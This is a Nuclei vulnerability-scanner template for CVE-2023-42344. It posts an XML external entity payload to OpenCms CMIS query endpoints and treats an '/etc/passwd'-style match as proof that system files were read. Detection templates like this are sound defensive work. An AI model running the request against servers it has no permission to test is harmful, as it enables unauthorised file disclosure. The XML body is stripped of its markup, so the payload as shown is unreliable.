id: CVE-2023-42344 info: name: OpenCMS - XML external entity (XXE) author: 0xr2r severity: high description: | users can execute code without authentication. An attacker can execute malicious requests on the OpenCms server. When the requests are successful vulnerable OpenCms can be exploited resulting in an unauthenticated XXE vulnerability. Based on research OpenCMS versions from 9.0.0 to 10.5.0 are vulnerable. remediation: Advised to upgrade to OpenCMS 10.5.1 or later to patch the vulnerability reference: - https://blog.qualys.com/product-tech/2023/12/08/opencms-unauthenticated-xxe-vulnerability-cve-2023-42344 - https://labs.watchtowr.com/xxe-you-can-depend-on-me-opencms/ metadata: verified: true max-request: 2 fofa-query: "OpenCms-9.5.3" tags: cve,cve2023,xxe,opencms http: - method: POST path: - "{{BaseURL}}/opencms/cmisatom/cmis-online/query" - "{{BaseURL}}/cmisatom/cmis-online/query" headers: Content-Type: "application/xml;charset=UTF-8" Referer: "{{RootURL}}" body: | ]>&test;falsefalsenonecmis:none1000 stop-at-first-match: true matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - "invalidArgument" condition: and # digest: 4b0a00483046022100f7dbfd49302b6ff73e5301cdb82e1fea60540cdbacb1e9a04069885d75bbc145022100c7ec2bc827d6116bdc018f12ea636664f6d8688600854967a7d4cc2734c100d4:922c64590222798bb761d5b6d8e72950